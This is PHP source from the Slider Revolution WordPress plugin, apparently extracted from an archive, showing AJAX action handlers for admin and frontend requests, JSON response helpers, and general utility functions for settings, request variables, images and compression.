$this->get_val($data, 'module_uid', false); $module_slider_id = $this->get_val($data, 'module_id', false); $refresh_from_server = $this->get_val($data, 'refresh_from_server', false); $get_static_slide = $this->_truefalse($this->get_val($data, 'static', false)); if($module_uid === false){ $module_uid = $module_slider_id; } $admin = new RevSliderFunctionsAdmin(); $modules = $admin->get_full_library($module, $module_uid, $refresh_from_server, $get_static_slide); $this->ajax_response_data(array('modules' => $modules)); break; case 'set_favorite': $do = $this->get_val($data, 'do', 'add'); $type = $this->get_val($data, 'type', 'slider'); $id = esc_attr($this->get_val($data, 'id')); $favorite = RevSliderGlobals::instance()->get('RevSliderFavorite'); $favorite->set_favorite($do, $type, $id); $this->ajax_response_success(__('Favorite Changed', 'revslider')); break; case 'load_library_object': $library = new RevSliderObjectLibrary(); $cover = false; $id = $this->get_val($data, 'id'); $type = $this->get_val($data, 'type'); if($type == 'thumb'){ $thumb = $library->_get_object_thumb($id, 'thumb'); }elseif($type == 'video'){ $thumb = $library->_get_object_thumb($id, 'video_full', true); $cover = $library->_get_object_thumb($id, 'cover', true); }elseif($type == 'layers'){ $thumb = $library->_get_object_layers($id); }else{ $thumb = $library->_get_object_thumb($id, 'orig', true); if(isset($thumb['error']) && $thumb['error'] === false){ $url = $library->get_correct_size_url($id, $type); if($url !== ''){ $thumb['url'] = $url; } } } if(isset($thumb['error']) && $thumb['error'] !== false){ $this->ajax_response_error(__('Object could not be loaded', 'revslider')); }else{ if($type == 'layers'){ $return = array('layers' => $this->get_val($thumb, 'data')); }else{ $return = array('url' => $this->get_val($thumb, 'url')); } if($cover !== false){ if(isset($cover['error']) && $cover['error'] !== false){ $this->ajax_response_error(__('Video cover could not be loaded', 'revslider')); } $return['cover'] = $this->get_val($cover, 'url'); } $this->ajax_response_data($return); } break; case 'create_slide': $slider_id = $this->get_val($data, 'slider_id', false); $amount = $this->get_val($data, 'amount', 1); $amount = intval($amount); $slide_ids = array(); if(intval($slider_id) > 0 && ($amount > 0 && $amount < 50)){ for ($i = 0; $i < $amount; $i++){ $slide_ids[] = $slide->create_slide($slider_id); } } if(!empty($slide_ids)){ $this->ajax_response_data(array('slide_id' => $slide_ids)); }else{ $this->ajax_response_error(__('Could not create Slide', 'revslider')); } break; case 'create_slider': /** * 1. create a blank Slider * 2. create a blank Slide * 3. create a blank Static Slide **/ $slide_id = false; $slider_id = $slider->create_blank_slider(); if($slider_id !== false){ $slide_id = $slide->create_slide($slider_id); //normal slide $slide->create_slide($slider_id, '', true); //static slide } if($slide_id !== false){ $this->ajax_response_data(array('slide_id' => $slide_id, 'slider_id' => $slider_id)); }else{ $this->ajax_response_error(__('Could not create Slider', 'revslider')); } break; case 'get_addon_list': $addon = new RevSliderAddons(); $addons = $addon->get_addon_list(); update_option('rs-addons-counter', 0); //set the counter back to 0 $this->ajax_response_data(array('addons' => $addons)); break; case 'get_layers_by_slide': $slide_id = $this->get_val($data, 'slide_id'); $slide->init_by_id($slide_id); $layers = $slide->get_layers(); $this->ajax_response_data(array('layers' => $layers)); break; case 'activate_addon': $handle = $this->get_val($data, 'addon'); $update = $this->get_val($data, 'update', false); $addon = new RevSliderAddons(); $return = $addon->install_addon($handle, $update); if($return === true){ $version = $addon->get_addon_version($handle); //return needed files of the plugin somehow $data = array(); $data = apply_filters('revslider_activate_addon', $data, $handle); $this->ajax_response_data(array($handle => $data, 'version' => $version)); }else{ $error = ($return === false) ? __('AddOn could not be activated', 'revslider') : $return; $this->ajax_response_error($error); } break; case 'deactivate_addon': $handle = $this->get_val($data, 'addon'); $addon = new RevSliderAddons(); $return = $addon->deactivate_addon($handle); if($return){ //return needed files of the plugin somehow $this->ajax_response_success(__('AddOn deactivated', 'revslider')); }else{ $this->ajax_response_error(__('AddOn could not be deactivated', 'revslider')); } break; case 'create_draft_page': $admin = new RevSliderFunctionsAdmin(); $response = array('open' => false, 'edit' => false); $slider_ids = $this->get_val($data, 'slider_ids'); $modals = $this->get_val($data, 'modals', array()); $additions = $this->get_val($data, 'additions', array()); $page_id = $admin->create_slider_page($slider_ids, $modals, $additions); if($page_id > 0){ $response['open'] = get_permalink($page_id); $response['edit'] = get_edit_post_link($page_id); } $this->ajax_response_data($response); break; case 'generate_attachment_metadata': $this->generate_attachment_metadata(); $this->ajax_response_success(''); break; case 'export_layer_group': //developer function only :) $title = $this->get_val($data, 'title', $this->get_request_var('title')); $videoid = intval($this->get_val($data, 'videoid', $this->get_request_var('videoid'))); $thumbid = intval($this->get_val($data, 'thumbid', $this->get_request_var('thumbid'))); $layers = $this->get_val($data, 'layers', $this->get_request_var('layers', '', false)); $export = new RevSliderSliderExport($title); $url = $export->export_layer_group($videoid, $thumbid, $layers); $this->ajax_response_data(array('url' => $url)); break; case 'silent_slider_update': $upd = new RevSliderPluginUpdate(); $return = $upd->upgrade_next_slider(); $this->ajax_response_data($return); break; case 'load_wordpress_image': $id = $this->get_val($data, 'id', 0); $type = $this->get_val($data, 'type', 'orig'); $img = wp_get_attachment_image_url($id, $type); if(empty($img)){ $this->ajax_response_error(__('Image could not be loaded', 'revslider')); } $this->ajax_response_data(array('url' => $img)); break; case 'load_library_image': $images = (!is_array($data)) ? (array)$data : $data; $images = RevSliderFunctions::esc_attr_deep($images); $images = RevSliderAdmin::esc_js_deep($images); $img_data = array(); if(!empty($images)){ $templates = new RevSliderTemplate(); $obj = new RevSliderObjectLibrary(); foreach($images as $image){ $type = $this->get_val($image, 'librarytype'); $img = $this->get_val($image, 'id'); $ind = $this->get_val($image, 'ind'); $mt = $this->get_val($image, 'mediatype'); switch($type){ case 'moduletemplates': case 'moduletemplateslides': $img = $templates->_check_file_path($img, true); $img_data[] = array( 'ind' => $ind, 'url' => $img, 'mediatype' => $mt ); break; case 'image': case 'images': case 'layers': case 'objects': $get = ($mt === 'video') ? 'video_thumb' : 'thumb'; $img = $obj->_get_object_thumb($img, $get, true); if($this->get_val($img, 'error', false) === false){ $img_data[] = array( 'ind' => $ind, 'url' => $this->get_val($img, 'url'), 'mediatype' => $mt ); } break; case 'videos': $get = ($mt === 'img') ? 'video' : 'video_thumb'; $img = $obj->_get_object_thumb($img, $get, true); if($this->get_val($img, 'error', false) === false){ $img_data[] = array( 'ind' => $ind, 'url' => $this->get_val($img, 'url'), 'mediatype' => $mt ); } break; } } } $this->ajax_response_data(array('data' => $img_data)); break; case 'create_customlibrary_tags': $obj = new RevSliderObjectLibrary(); $name = $this->get_val($data, 'name', ''); $type = $this->get_val($data, 'type', ''); $return = $obj->create_custom_tag($name, $type); if(!is_array($return)){ $this->ajax_response_error($return); }else{ $this->ajax_response_data($return); } break; case 'edit_customlibrary_tags': $obj = new RevSliderObjectLibrary(); $id = $this->get_val($data, 'id', ''); $name = $this->get_val($data, 'name', ''); $type = $this->get_val($data, 'type', ''); $return = $obj->edit_custom_tag($id, $name, $type); if($return !== true){ $this->ajax_response_error($return); }else{ $this->ajax_response_success(__('Tag successfully saved', 'revslider')); } break; case 'delete_customlibrary_tags': $obj = new RevSliderObjectLibrary(); $id = $this->get_val($data, 'id', ''); $type = $this->get_val($data, 'type', ''); $return = $obj->delete_custom_tag($id, $type); if($return !== true){ $this->ajax_response_error($return); }else{ $this->ajax_response_success(__('Tag successfully deleted', 'revslider')); } break; case 'upload_customlibrary_item': $obj = new RevSliderObjectLibrary(); $return = $obj->upload_custom_item($data); if(!is_array($return)){ $this->ajax_response_error($return); }else{ $return['tags'] = $this->get_val($obj->get_custom_tags(), 'svgcustom', array()); $this->ajax_response_data($return); } break; case 'edit_customlibrary_item': $obj = new RevSliderObjectLibrary(); $id = $this->get_val($data, 'id', ''); $type = $this->get_val($data, 'type', ''); $name = $this->get_val($data, 'name', ''); $tags = $this->get_val($data, 'tags', ''); $return = $obj->edit_custom_item($id, $type, $name, $tags); if($return !== true){ $this->ajax_response_error(__('Item could not be changed', 'revslider')); }else{ $this->ajax_response_success(__('Item successfully changed', 'revslider')); } break; case 'delete_customlibrary_item': $obj = new RevSliderObjectLibrary(); $id = $this->get_val($data, 'id', ''); $type = $this->get_val($data, 'type', ''); $return = $obj->delete_custom_item($id, $type); if($return !== true){ $this->ajax_response_error(__('Item could not be deleted', 'revslider')); }else{ $this->ajax_response_success(__('Item successfully deleted', 'revslider')); } break; case 'get_help_directory': include_once(RS_PLUGIN_PATH . 'admin/includes/help.class.php'); if(class_exists('RevSliderHelp')){ $help_data = RevSliderHelp::getIndex(); $this->ajax_response_data(array('data' => $help_data)); }else{ $this->ajax_response_error(__('Error loading RevSliderHelp', 'revslider')); } break; case 'get_tooltips': include_once(RS_PLUGIN_PATH . 'admin/includes/tooltips.class.php'); if(class_exists('RevSliderTooltips')){ $tooltips = RevSliderTooltips::getTooltips(); $this->ajax_response_data(array('data' => $tooltips)); }else{ $this->ajax_response_error(__('Error loading RevSliderTooltips', 'revslider')); } break; case 'set_tooltip_preference': update_option('revslider_hide_tooltips', true); $this->ajax_response_success(__('Preference Updated', 'revslider')); break; case 'save_color_preset': $presets = $this->get_val($data, 'presets', array()); $color_presets = RSColorpicker::save_color_presets($presets); $this->ajax_response_data(array('presets' => $color_presets)); break; case 'get_facebook_photosets': if(empty($data['app_id'])){ $this->ajax_response_error(__('Facebook API error: Empty Access Token', 'revslider')); } if(empty($data['page_id'])){ $this->ajax_response_error(__('Facebook API error: Empty Page ID', 'revslider')); } $facebook = RevSliderGlobals::instance()->get('RevSliderFacebook'); $return = $facebook->get_photo_set_photos_options($data['app_id'], $data['page_id']); if(empty($return)){ $error = __('Could not fetch Facebook albums', 'revslider'); $this->ajax_response_error($error); } if(!empty($return['error'])){ $this->ajax_response_error(__('Facebook API error: ', 'revslider') . $return['message']); } $this->ajax_response_success(__('Successfully fetched Facebook albums', 'revslider'), array('html' => implode(' ', $return))); break; case 'get_flickr_photosets': $error = __('Could not fetch flickr album', 'revslider'); if(!empty($data['url']) && !empty($data['key'])){ $flickr = new RevSliderFlickr($data['key']); $user_id = $flickr->get_user_from_url($data['url']); $return = $flickr->get_photo_sets($user_id, $data['count'], $data['set']); if(!empty($return)){ $this->ajax_response_success(__('Successfully fetched flickr albums', 'revslider'), array('data' => array('html' => implode(' ', $return)))); }else{ $error = __('Could not fetch flickr albums', 'revslider'); } }else{ if(empty($data['url']) && empty($data['key'])){ $this->ajax_response_success(__('Cleared Albums', 'revslider'), array('html' => implode(' ', $return))); }elseif(empty($data['url'])){ $error = __('No User URL - Could not fetch flickr albums', 'revslider'); }else{ $error = __('No API KEY - Could not fetch flickr albums', 'revslider'); } } $this->ajax_response_error($error); break; case 'get_youtube_playlists': if(!empty($data['id'])){ $youtube = new RevSliderYoutube(trim($data['api']), trim($data['id'])); $return = $youtube->get_playlist_options($data['playlist']); $this->ajax_response_success(__('Successfully fetched YouTube playlists', 'revslider'), array('data' => array('html' => implode(' ', $return)))); }else{ $this->ajax_response_error(__('Could not fetch YouTube playlists', 'revslider')); } break; case 'fix_database_issues': update_option('revslider_table_version', '1.0.0'); RevSliderFront::create_tables(true); $this->ajax_response_success(__('Slider Revolution database structure was updated', 'revslider')); break; case 'clear_internal_cache': $cache = RevSliderGlobals::instance()->get('RevSliderCache'); $cache->clear_all_transients(); $this->ajax_response_success(__('Slider Revolution internal cache was fully cleared', 'revslider')); break; case 'get_same_aspect_ratio': $images = $this->get_val($data, 'images', array()); $return = $this->get_same_aspect_ratio_images($images); $this->ajax_response_data(array('images' => $return)); break; case 'get_addons_sizes': $addons = $this->get_val($data, 'addons', array()); $sizes = $this->get_addon_sizes($addons); $this->ajax_response_data(array('addons' => $sizes)); break; case 'save_custom_templates_slidetransitions': $return = $this->save_custom_slidetransitions($data); if ($return === false || intval($return) === 0) { $this->ajax_response_success(__('Slide transition template could not be saved', 'revslider')); } else { $this->ajax_response_success(__('Slide transition template saved', 'revslider'), array('data' => array('id' => $return))); } break; case 'delete_custom_templates_slidetransitions': if ($this->delete_custom_slidetransitions($data)) { $this->ajax_response_success(__('Slide transition template deleted', 'revslider')); } else { $this->ajax_response_error(__('Slide transition template could not be deleted', 'revslider')); } break; case 'create_image_from_raw': $mpeg = $this->get_val($data, 'mpeg', ''); $slideid = $this->get_val($data, 'slideid', 0); $bitmap = $this->get_val($data, 'bitmap', ''); $mpeg = basename($mpeg); if(empty($mpeg)) { $this->ajax_response_error(__('mpeg not set', 'revslider')); } $return = $this->import_media_raw($mpeg, $slideid, $bitmap); if(!is_array($return) && ($return === false || intval($return) === 0)){ if ($return === false) { $this->ajax_response_error(__('Image could not be created', 'revslider')); } else { $this->ajax_response_error($return); } } if(isset($return['id'])){ $return['path'] = wp_get_attachment_url($return['id']); } $this->ajax_response_data($return); break; case 'get_v5_slider_list': $admin = new RevSliderFunctionsAdmin(); $sliders = $admin->get_v5_slider_data(); $this->ajax_response_data(array('slider' => $sliders)); break; case 'reimport_v5_slider': $status = false; if(!empty($data['id'])){ $admin = new RevSliderFunctionsAdmin(); $status = $admin->reimport_v5_slider($data['id']); $cache = RevSliderGlobals::instance()->get('RevSliderCache'); $cache->clear_all_transients(); } if($status === false){ $this->ajax_response_error(__('Slider could not be transfered to v6', 'revslider')); }else{ $this->ajax_response_success(__('Slider transfered to v6', 'revslider')); } break; default: $return = ''; //''is not allowed to be added directly in apply_filters(), so its needed like this $return = apply_filters('revslider_do_ajax', $return, $action, $data); if($return){ if(is_array($return)){ if(isset($return['error'])){ $this->ajax_response_error($return['error']); } if(isset($return['message'])){ $this->ajax_response_data(array('message' => $return['message'], 'data' => $return['data'])); } $this->ajax_response_data(array('data' => $return['data'])); }else{ $this->ajax_response_success($return); } } break; } }catch(Exception $e){ $message = $e->getMessage(); if(in_array($action, array('preview_slide', 'preview_slider'))){ echo $message; wp_die(); } $this->ajax_response_error($message); } //it's an ajax action, so exit $this->ajax_response_error(__('No response on action', 'revslider')); wp_die(); } /** * Ajax handling for frontend, no privileges here */ public function do_front_ajax_action(){ $token = $this->get_post_var('token', false); //verify the token //$is_verified = wp_verify_nonce($token, 'RevSlider_Front'); $error = false; //if($is_verified){ switch($this->get_post_var('client_action', false)){ case 'get_transitions': $transitions = $this->get_base_transitions(); $this->ajax_response_data(array('transitions' => $transitions)); break; case 'get_slider_html': $alias = $this->get_post_var('alias', ''); $usage = $this->get_post_var('usage', ''); $modal = $this->get_post_var('modal', ''); $layout = $this->get_post_var('layout', ''); $offset = $this->get_post_var('offset', ''); $id = intval($this->get_post_var('id', 0)); //check if $alias exists in database, transform it to id if($alias !== ''){ $sr = new RevSliderSlider(); $id = intval($sr->alias_exists($alias, true)); } if($id > 0){ ob_start(); $slider = new RevSliderOutput(); $slider->set_ajax_loaded(); $slider_class = $slider->add_slider_to_stage($id, $usage, $layout, $offset, $modal); $html = ob_get_contents(); ob_clean(); ob_end_clean(); $result = !empty($slider_class) && $html !== ''; if(!$result){ $error = __('Slider not found', 'revslider'); }else{ if($html !== false){ $htmlid = $slider->get_html_id(); $return = array('data' => $html, 'waiting' => array(), 'toload' => array(), 'htmlid' => $htmlid); $return = apply_filters('revslider_get_slider_html_addition', $return, $slider); $this->ajax_response_data($return); }else{ $error = __('Slider not found', 'revslider'); } } }else{ $error = __('No Data Received', 'revslider'); } break; } /*}else{ $error = true; }*/ if($error !== false){ $show_error = ($error !== true) ? __('Loading Error', 'revslider') : __('Loading Error: ', 'revslider') . $error; $this->ajax_response_error($show_error, false); } exit; } /** * echo json ajax response as error * @before: RevSliderBaseAdmin::ajaxResponseError(); */ public function ajax_response_error($message, $data = null){ $this->ajax_response(false, $message, $data); } /** * echo ajax success response with redirect instructions * @before: RevSliderBaseAdmin::ajaxResponseSuccessRedirect(); */ public function ajax_response_redirect($message, $url){ $data = array('is_redirect' => true, 'redirect_url' => $url); $this->ajax_response(true, $message, $data); } /** * echo json ajax response, without message, only data * @before: RevSliderBaseAdmin::ajaxResponseData() */ public function ajax_response_data($data){ $data = (gettype($data) == 'string') ? array('data' => $data) : $data; $this->ajax_response(true, '', $data); } /** * echo ajax success response * @before: RevSliderBaseAdmin::ajaxResponseSuccess(); */ public function ajax_response_success($message, $data = null){ $this->ajax_response(true, $message, $data); } /** * echo json ajax response * before: RevSliderBaseAdmin::ajaxResponse * @param bool $success * @param string $message * @param mixed $data */ private function ajax_response($success, $message, $data = null){ $response = array( 'success' => $success, 'message' => $message, ); if(!empty($data)){ if(gettype($data) == 'string'){ $data = array('data' => $data); } $response = array_merge($response, $data); } echo json_encode($response); wp_die(); } /** * set the page that should be shown **/ private function set_current_page(){ $this->view = $this->get_get_var('view', 'sliders'); } /** * include/display the previously set page * only allow certain pages to be showed **/ public function display_admin_page(){ try{ if(!in_array($this->view, $this->allowed_views)){ $this->throw_error(__('Bad Request', 'revslider')); } switch($this->view){ //switch URLs to corresponding php files case 'slide': $view = 'builder'; break; case 'sliders': default: $view = 'overview'; break; } $this->validate_filepath($this->path_views . $view . '.php', 'View'); require $this->path_views . 'header.php'; require $this->path_views . $view . '.php'; require $this->path_views . 'footer.php'; }catch(Exception $e){ $this->show_error($this->view, $e->getMessage()); } } public function open_welcome_page(){ if(!get_transient('_revslider_welcome_screen_activation_redirect')) return; if(is_network_admin() || isset($_GET['activate-multi'])) return; delete_transient('_revslider_welcome_screen_activation_redirect'); update_option('rs_cache_overlay', '1.0.0'); wp_safe_redirect(add_query_arg(array('page' => 'revslider'), admin_url('index.php'))); } /** * show an nice designed error **/ public function show_error($view, $message){ echo '
            '; echo __('Slider Revolution encountered the following error: ', 'revslider'); echo esc_attr($view); echo ' - Error: '; echo esc_attr($message); echo ''; echo '
            '; exit; } /** * validate that some file exists, if not - throw error * @before: RevSliderFunctions::validateFilepath */ public function validate_filepath($filepath, $prefix = null){ if(file_exists($filepath) == true) return true; $prefix = ($prefix == null) ? 'File' : $prefix; $message = $prefix.' '.esc_attr($filepath).' not exists!'; $this->throw_error($message); } /** * Create a temporary fake page/post * @since: 6.0 **/ public function create_fake_post($content, $title = 'Slider Revolution'){ $post = new stdClass(); $post->ID = -1; $post->post_author = get_current_user_id(); $post->post_date = current_time('mysql'); $post->post_date_gmt = current_time('mysql', 1); $post->post_title = $title; $post->post_content = $content; $post->post_status = 'publish'; $post->comment_status = 'closed'; $post->ping_status = 'closed'; $post->post_name = 'rs-fake-page-' . rand(1, 99999); //append random number to avoid clash $post->post_type = 'page'; $post->filter = 'raw'; //important //$post->post_meta = new stdClass(); //$post->post_meta->_wp_page_template= '../public/views/revslider-page-template.php'; //Convert to WP_Post object $wp_post = new WP_Post($post); //Add the fake post to the cache wp_cache_add(-1, $wp_post, 'posts'); global $wp, $wp_query; // Update the main query $wp_query->queried_object_id = -1; $wp_query->post = $wp_post; $wp_query->posts = array($wp_post); $wp_query->queried_object = $wp_post; $wp_query->found_posts = 1; $wp_query->post_count = 1; $wp_query->max_num_pages = 1; $wp_query->is_page = true; $wp_query->is_singular = true; $wp_query->is_single = false; $wp_query->is_attachment = false; $wp_query->is_archive = false; $wp_query->is_category = false; $wp_query->is_tag = false; $wp_query->is_tax = false; $wp_query->is_author = false; $wp_query->is_date = false; $wp_query->is_year = false; $wp_query->is_month = false; $wp_query->is_day = false; $wp_query->is_time = false; $wp_query->is_search = false; $wp_query->is_feed = false; $wp_query->is_comment_feed = false; $wp_query->is_trackback = false; $wp_query->is_home = false; $wp_query->is_embed = false; $wp_query->is_404 = false; $wp_query->is_paged = false; $wp_query->is_admin = false; $wp_query->is_preview = false; $wp_query->is_robots = false; $wp_query->is_posts_page = false; $wp_query->is_post_type_archive = false; //Update globals $GLOBALS['wp_query'] = $wp_query; $wp->register_globals(); return $wp_post; } /** * esc attr recursive * @since: 6.0 */ public static function esc_js_deep($value){ $value = is_array($value) ? array_map(array('RevSliderAdmin', 'esc_js_deep'), $value) : esc_js($value); return $value; } /** * generate missing attachement metadata for images * @since: 6.0 **/ public function generate_attachment_metadata(){ $rs_meta_create = get_option('rs_image_meta_todo', array()); if(!empty($rs_meta_create)){ foreach($rs_meta_create as $attach_id => $save_dir){ unset($rs_meta_create[$attach_id]); update_option('rs_image_meta_todo', $rs_meta_create); if($attach_data = @wp_generate_attachment_metadata($attach_id, $save_dir)){ @wp_update_attachment_metadata($attach_id, $attach_data); } } } } }includes/functions.class.php000060400000155324151724235750012220 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderFunctions extends RevSliderData { public function __construct(){ parent::__construct(); } /** * START: DEPRECATED FUNCTIONS THAT ARE IN HERE FOR OLD ADDONS TO WORK PROPERLY **/ /** * old version of get_val(); * added for compatibility with old AddOns **/ public static function getVal($arr, $key, $default = ''){ //echo 'Slider Revolution Notice: Please do not use RevSliderFunctions::getVal() anymore, use $f->get_val()'."\n"; $f = RevSliderGlobals::instance()->get('RevSliderFunctions'); return $f->get_val($arr, $key, $default); } /** * old version of class_to_array_single(); * added for compatibility with old AddOns **/ public static function cleanStdClassToArray($arr){ $f = RevSliderGlobals::instance()->get('RevSliderFunctions'); return $f->class_to_array_single($arr); } /** * END: DEPRECATED FUNCTIONS THAT ARE IN HERE FOR OLD ADDONS TO WORK PROPERLY **/ /** * attempt to load cache for _get_global_settings * @return mixed */ public function get_global_settings(){ return $this->get_wp_cache('_get_global_settings'); } /** * Get Global Settings * @before: RevSliderOperations::getGeneralSettingsValues() **/ protected function _get_global_settings(){ $gs = get_option('revslider-global-settings', ''); if(!is_array($gs)){ $gs = json_decode($gs, true); } return apply_filters('rs_get_global_settings', $gs); } /** * update general settings * @before: RevSliderOperations::updateGeneralSettings() */ public function set_global_settings($global, $merge = false){ $this->delete_wp_cache('_get_global_settings'); if($this->_truefalse($merge) === true){ $_global = $this->get_global_settings(); if(!is_array($_global)) $_global = array(); if(!is_array($global)) $global = array(); $global = array_merge($_global, $global); } $global = json_encode($global); update_option('revslider-global-settings', $global); return true; } /** * get all additions from the update checks * @since: 6.2.0 **/ public function get_addition($key = ''){ $additions = (array)get_option('revslider-additions', array()); $additions = (!is_array($additions)) ? json_decode($additions, true) : $additions; return (empty($key)) ? $additions : $this->get_val($additions, $key); } /** * throw an error * @before: RevSliderFunctions::throwError() **/ public function throw_error($message, $code = null){ if(!empty($code)){ throw new Exception($message, $code); }else{ throw new Exception($message); } } /** * get value from array. if not - return alternative * before: RevSliderFunctions::get_val(); * * @param mixed $arr could be array | object | scalar * @param mixed $key could be array | string * @param mixed $default value to return if key not found * @return mixed */ public function get_val($arr, $key, $default = ''){ //scalar = int, float, string и bool if(is_scalar($arr)) return $default; //convert obj to array if(is_object($arr)) $arr = (array)$arr; //if key is string, check immediately if(!is_array($key)) return (isset($arr[$key])) ? $arr[$key] : $default; //loop thru keys foreach($key as $v){ if(is_object($arr)) $arr = (array)$arr; if(isset($arr[$v])) { $arr = $arr[$v]; } else { return $default; } } return $arr; } /** * set parameter * @since: 6.0 */ public function set_val(&$base, $name, $value){ if(is_array($name)){ foreach($name as $key){ if(is_array($base)){ if(!isset($base[$key])) $base[$key] = array(); $base = &$base[$key]; }elseif(is_object($base)){ if(!isset($base->$key)) $base->$key = new stdClass(); $base = &$base->$key; } } $base = $value; }else{ $base[$name] = $value; } } /** * get POST variable * before: RevSliderBase::getPostVar(); */ public function get_post_var($key, $default = '', $esc = true){ $val = $this->get_var($_POST, $key, $default); return ($esc) ? esc_html($val) : $val; } /** * get GET variable * before: RevSliderBase::getGetVar(); */ public function get_get_var($key, $default = '', $esc = true){ $val = $this->get_var($_GET, $key, $default); return ($esc) ? esc_html($val) : $val; } /** * get POST or GET variable in this order * before: RevSliderBase::getPostGetVar(); */ public function get_request_var($key, $default = '', $esc = true){ $val = (array_key_exists($key, $_POST)) ? $this->get_var($_POST, $key, $default) : $this->get_var($_GET, $key, $default); return ($esc) ? esc_html($val) : $val; } /** * get a variable from an array, * before: RevSliderBase::getVar() */ public function get_var($arr, $key, $default = ''){ return (isset($arr[$key])) ? $arr[$key] : $default; } /** * check for true and false in all possible ways * @since: 6.0 **/ public function _truefalse($v){ if($v === 'false' || $v === false || $v === 'off' || $v === NULL || $v === 0 || $v === -1){ $v = false; }elseif($v === 'true' || $v === true || $v === 'on'){ $v = true; } return $v; } /** * validate that some value is numeric * before: RevSliderFunctions::validateNumeric */ public function validate_numeric($val, $fn = 'Field'){ $this->validate_not_empty($val, $fn); if(!is_numeric($val)) $this->throw_error($fn.__(' should be numeric', 'revslider')); } /** * validate that some variable not empty * before: RevSliderFunctions::validateNotEmpty */ public function validate_not_empty($val, $fn = 'Field'){ if(empty($val) && is_numeric($val) == false) $this->throw_error($fn.__(' should not be empty', 'revslider')); } /** * encode array into json for client side * @before: RevSliderFunctions::jsonEncodeForClientSide() */ public function json_encode_client_side($arr){ $json = ''; if(!empty($arr)){ if(defined('JSON_INVALID_UTF8_IGNORE')){ $json = json_encode($arr, JSON_INVALID_UTF8_IGNORE); }else{ $json = json_encode($arr); } $json = addslashes($json); } $json = (empty($json)) ? '{}' : "'".$json."'"; return $json; } /** * turn a string into an array, check also for slashes! * @since: 6.0 */ public function json_decode_slashes($data){ if(gettype($data) == 'string'){ $data_decoded = json_decode(stripslashes($data), true); if(empty($data_decoded)) $data_decoded = json_decode($data, true); $data = $data_decoded; } return $data; } /** * Convert std class to array, with all sons * before: RevSliderFunctions::convertStdClassToArray(); * @return array|null */ public function class_to_array($arr){ return json_decode(json_encode($arr), true); } /** * Convert std class to array, single * before: RevSliderFunctions::cleanStdClassToArray(); * @return array */ public function class_to_array_single($arr){ return (array)$arr; } /** * Check Array for Value Recursive */ public function in_array_r($needle, $haystack, $strict = false){ if(is_array($haystack) && !empty($haystack)){ foreach($haystack as $item){ if(($strict ? $item === $needle : $item == $needle) || (is_array($item) && $this->in_array_r($needle, $item, $strict))){ return true; } } } return false; } /** * compress an array/object/string to a string * @since 6.6.0 **/ public function do_compress($data, $level = 9){ if(is_array($data) || is_object($data)) $data = json_encode($data); if(!function_exists('gzcompress') || !function_exists('gzuncompress')) return $data; //gzencode / gzdecode return base64_encode(gzcompress($data, $level)); } /** * decompress an string to an array/object/string * @since 6.6.0 **/ public function do_uncompress($data){ if($data === false || empty($data) || is_array($data) || is_object($data)) return $data; $_data = json_decode($data, true); if(is_array($_data) || is_object($_data)) return $_data; if(!function_exists('gzcompress') || !function_exists('gzuncompress')) return $data; //gzencode / gzdecode $data = gzuncompress(base64_decode($data)); $_data = json_decode($data, true); return (!empty($_data)) ? $_data : $data; } /** * get attachment image url * before: RevSliderFunctionsWP::getUrlAttachmentImage(); */ public function get_url_attachment_image($id, $size = 'full'){ $image = wp_get_attachment_image_src($id, $size); $url = (empty($image)) ? false : $this->get_val($image, 0); if($url === false){ $url = wp_get_attachment_url($id); } return $url; } /** * gets a temporary path where files can be stored **/ public function get_temp_path($path = 'rstemp'){ if(function_exists('sys_get_temp_dir')){ $temp = sys_get_temp_dir(); if(@is_dir($temp) && wp_is_writable($temp)){ return trailingslashit($temp); } } $temp = ini_get('upload_tmp_dir'); if(@is_dir($temp) && wp_is_writable($temp)){ return trailingslashit($temp); } $temp_dir = get_temp_dir(); if(wp_is_writable($temp_dir)){ $dir = $temp_dir; }else{ $upload_dir = wp_upload_dir(); $dir = $upload_dir['basedir'].'/'.$path.'/'; if(!is_dir($dir)){ mkdir($dir, 0777, true); } } return $dir; } /** * retrieve the image id from the given image url * before: RevSliderFunctionsWP::get_image_id_by_url(); */ public function get_image_id_by_url($image_url){ global $wpdb; $attachment_id = false; if($image_url !== ''){ $attachment_id = (function_exists('attachment_url_to_postid')) ? attachment_url_to_postid($image_url) : 0; //for WP < 4.0.0 if(0 == $attachment_id){ //get it the old school way $upload_dir_paths = wp_upload_dir(); // Make sure the upload path base directory exists in the attachment URL, to verify that we're working with a media library image if(false !== strpos($image_url, $upload_dir_paths['baseurl'])){ $image_url = preg_replace('/-\d+x\d+(?=\.(jpg|jpeg|png|gif)$)/i', '', $image_url); $image_url = str_replace($upload_dir_paths['baseurl'] . '/', '', $image_url); $attachment_id = $wpdb->get_var($wpdb->prepare( "SELECT wposts.ID FROM $wpdb->posts wposts, $wpdb->postmeta wpostmeta WHERE wposts.ID = wpostmeta.post_id AND wpostmeta.meta_key = '_wp_attached_file' AND wpostmeta.meta_value = '%s' AND wposts.post_type = 'attachment'", $image_url)); }else{ $attachment_id = false; } } } return (is_null($attachment_id)) ? false : $attachment_id; } /** * retrieve the image id from the given image filename/basename * @since: 6.1.5 */ public function get_image_id_by_basename($basename){ global $wpdb; $var = $wpdb->get_var($wpdb->prepare("SELECT `post_id` FROM `".$wpdb->postmeta."` WHERE `meta_value` LIKE %s LIMIT 0,1", '%/'.$basename)); return ($var) ? $var : false; } /** * get image url from image path. * @before: RevSliderFunctionsWP::getImageUrlFromPath(); */ public function get_image_url_from_path($path){ if(empty($path)) return ''; //check if the path ends with /, if yes its not a correct image path $lc = substr($path, -1); if(in_array($lc, array('/', '\\'))) return ''; //protect from absolute url $lower = strtolower($path); $return = (strpos($lower, 'http://') !== false || strpos($lower, 'https://') !== false || strpos($lower, 'www.') === 0) ? $path : $this->get_base_url().$path; return ($return !== $this->get_base_url()) ? $return : ''; } /** * Check if Path is a Valid Image File **/ public function check_valid_image($url){ if(empty($url)) return false; $pos = strrpos($url, '.', -1); if($pos === false) return false; $ext = strtolower(substr($url, $pos)); $img_exts = array('.gif', '.jpg', '.jpeg', '.png'); if(in_array($ext, $img_exts)) return $url; return false; } /** * get the upload URL of images * before: RevSliderFunctionsWP::getUrlUploads() */ public static function get_base_url(){ if(is_multisite() == false){ //without multisite $url = content_url().'/'; }else{ //for multisite $upload_dir = wp_upload_dir(); $url = $upload_dir['baseurl'].'/'; } return $url; } /** * strip slashes recursive * @since: 5.0 * before: RevSliderBase::stripslashes_deep() */ public static function stripslashes_deep($value){ $value = is_array($value) ? 